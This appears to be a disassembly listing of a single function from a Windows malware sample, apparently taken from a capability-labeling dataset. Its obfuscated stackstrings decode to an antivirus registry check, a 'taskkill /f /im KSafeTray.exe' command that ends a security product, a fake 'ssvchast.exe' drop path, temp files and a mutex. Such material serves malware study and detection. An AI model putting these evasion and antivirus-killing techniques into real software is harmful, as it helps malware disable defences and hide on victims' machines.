Function at 0x40a980
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0xa0
push ebx
push esi
lea eax, [esp + 0x94]
push edi
push eax
push 0xf003f
lea ecx, [esp + 0x44]
push 0
mov bl, 0x65
push ecx
push 0x80000002
mov byte [esp + 0x50], 0x53
mov byte [esp + 0x51], 0x4f
mov byte [esp + 0x52], 0x46
mov byte [esp + 0x53], 0x54
mov byte [esp + 0x54], 0x57
mov byte [esp + 0x55], 0x41
mov byte [esp + 0x56], 0x52
mov byte [esp + 0x57], 0x45
mov byte [esp + 0x58], 0x5c
mov byte [esp + 0x59], 0x43
mov byte [esp + 0x5a], 0x6c
mov byte [esp + 0x5b], 0x61
mov byte [esp + 0x5c], 0x73
mov byte [esp + 0x5d], 0x73
mov byte [esp + 0x5e], bl
mov byte [esp + 0x5f], 0x73
mov byte [esp + 0x60], 0x5c
mov byte [esp + 0x61], 0x2e
mov byte [esp + 0x62], 0x33
mov byte [esp + 0x63], 0x38
mov byte [esp + 0x64], 0x36
mov byte [esp + 0x65], 0x5c
mov byte [esp + 0x66], 0
call dword [0x4297a4]
test eax, eax
je 0x40aa2f
or eax, 0xffffffff
pop edi
pop esi
pop ebx
add esp, 0xa0
ret 0x10
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [esp + 0x24]
push ebp
push edx
push str.KERNEL32.dll
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0x45
mov byte [esp + 0x34], 0x78
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x63
mov byte [esp + 0x37], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetModuleFileNameA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov byte [esp + 0x10], 0x53
mov byte [esp + 0x11], 0x6c
mov dword [esp + 0x98], eax
lea eax, [esp + 0x10]
push eax
push str.KERNEL32.dll
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x70
mov byte [esp + 0x1d], 0
call esi
push eax
call edi
lea ecx, [esp + 0x9c]
lea edx, [esp + 0x30]
push ecx
push 0xf003f
push 0
push edx
push 0x80000002
mov dword [esp + 0xa8], eax
mov byte [esp + 0x44], 0x53
mov byte [esp + 0x45], 0x4f
mov byte [esp + 0x46], 0x46
mov byte [esp + 0x47], 0x54
mov byte [esp + 0x48], 0x57
mov byte [esp + 0x49], 0x41
mov byte [esp + 0x4a], 0x52
mov byte [esp + 0x4b], 0x45
mov byte [esp + 0x4c], 0x5c
mov byte [esp + 0x4d], 0x72
mov byte [esp + 0x4e], 0x69
mov byte [esp + 0x4f], 0x73
mov byte [esp + 0x50], 0x69
mov byte [esp + 0x51], 0x6e
mov byte [esp + 0x52], 0x67
mov byte [esp + 0x53], 0
call dword [0x4297a4]
test eax, eax
jne 0x40ab5b
push str.CreateThread
push str.KERNEL32.dll
call esi
push eax
call edi
push 0
push 0
push 0
push 0x409db0
push 0
push 0
call eax
push 0x4d2
call dword [esp + 0x98]
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x49
mov ecx, dword [esp + 0xac]
mov edx, dword [esp + 0xaa]
mov eax, dword [esp + 0xa8]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0xaa]
and eax, 0xffff
push edx
mov edx, dword [esp + 0xaa]
push eax
mov eax, dword [esp + 0xac]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
push str.C:_ssvchast.exe__________________i_i_i_i_i_i.exe
push 0x42a848
mov byte [esp + 0x3e], 0x4e
mov byte [esp + 0x3f], 0x44
mov byte [esp + 0x40], 0x4f
mov byte [esp + 0x41], 0x57
mov byte [esp + 0x42], 0x53
mov byte [esp + 0x43], 0x5c
mov byte [esp + 0x44], 0x54
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x47], 0x70
mov byte [esp + 0x48], 0x5c
mov byte [esp + 0x49], 0
call dword [0x4298bc]
mov edx, dword [esp + 0xd8]
add esp, 0x24
push 0x104
push 0x42a94c
push edx
call dword [esp + 0xa4]
mov al, 0x6b
mov dl, 0x2f
mov byte [esp + 0x77], al
mov byte [esp + 0x78], al
mov al, 0x20
mov cl, 0x66
mov byte [esp + 0x74], 0x74
mov byte [esp + 0x75], 0x61
mov byte [esp + 0x76], 0x73
mov byte [esp + 0x79], 0x69
mov byte [esp + 0x7a], 0x6c
mov byte [esp + 0x7b], 0x6c
mov byte [esp + 0x7c], al
mov byte [esp + 0x7d], dl
mov byte [esp + 0x7e], cl
mov byte [esp + 0x7f], al
mov byte [esp + 0x80], dl
mov byte [esp + 0x81], 0x69
mov byte [esp + 0x82], 0x6d
mov byte [esp + 0x83], al
mov byte [esp + 0x84], 0x4b
mov byte [esp + 0x85], 0x73
mov byte [esp + 0x86], 0x61
mov byte [esp + 0x87], cl
mov byte [esp + 0x88], bl
mov byte [esp + 0x89], 0x74
mov byte [esp + 0x8a], 0x72
mov byte [esp + 0x8b], 0x61
mov byte [esp + 0x8c], 0x79
mov byte [esp + 0x8d], 0x2e
mov byte [esp + 0x8e], bl
mov byte [esp + 0x8f], 0x78
mov byte [esp + 0x90], bl
mov byte [esp + 0x91], 0
push 0
lea eax, [esp + 0x78]
push eax
call ebp
lea ecx, [esp + 0x18]
push ecx
push 0x42a94c
call fcn.00415f00
add esp, 8
test eax, eax
pop ebp
jne 0x40addb
push 0x424f74
push 0x42a94c
call fcn.00415f00
add esp, 8
test eax, eax
jne 0x40addb
mov byte [esp + 0x54], 0x43
mov byte [esp + 0x55], 0x3a
mov byte [esp + 0x56], 0x5c
mov byte [esp + 0x57], 0x57
mov byte [esp + 0x58], 0x49
mov byte [esp + 0x59], 0x4e
mov byte [esp + 0x5a], 0x44
mov byte [esp + 0x5b], 0x4f
mov byte [esp + 0x5c], 0x57
mov byte [esp + 0x5d], 0x53
mov byte [esp + 0x5e], 0x5c
mov byte [esp + 0x5f], 0x54
mov byte [esp + 0x60], bl
mov byte [esp + 0x61], 0x6d
mov byte [esp + 0x62], 0x70
mov byte [esp + 0x63], 0x5c
mov byte [esp + 0x64], 0x48
mov byte [esp + 0x65], bl
mov byte [esp + 0x66], 0x6c
mov byte [esp + 0x67], 0x70
mov byte [esp + 0x68], 0x73
mov byte [esp + 0x69], 0x2e
mov byte [esp + 0x6a], 0x74
mov byte [esp + 0x6b], 0x6d
mov byte [esp + 0x6c], 0x70
mov byte [esp + 0x6d], al
call fcn.00409e90
lea edx, [esp + 0x54]
push edx
push 0x42a94c
call fcn.0041644f
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xa0
ret 0x10
mov eax, dword [str.cr_hk00__lod7.355]
push eax
call fcn.00409d40
mov ecx, dword [str.cr_hk00__lod7.355]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push str.GetLastError
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
test ebx, ebx
je 0x40ae15
call eax
cmp eax, 0xb7
je 0x40adcd
push str.CreateThread
push str.KERNEL32.dll
call esi
push eax
call edi
push 0
push 0
push 0
push 0x40a6d0
push 0
push 0
call eax
push 0x98967f
call dword [esp + 0x94]
jmp 0x40ae35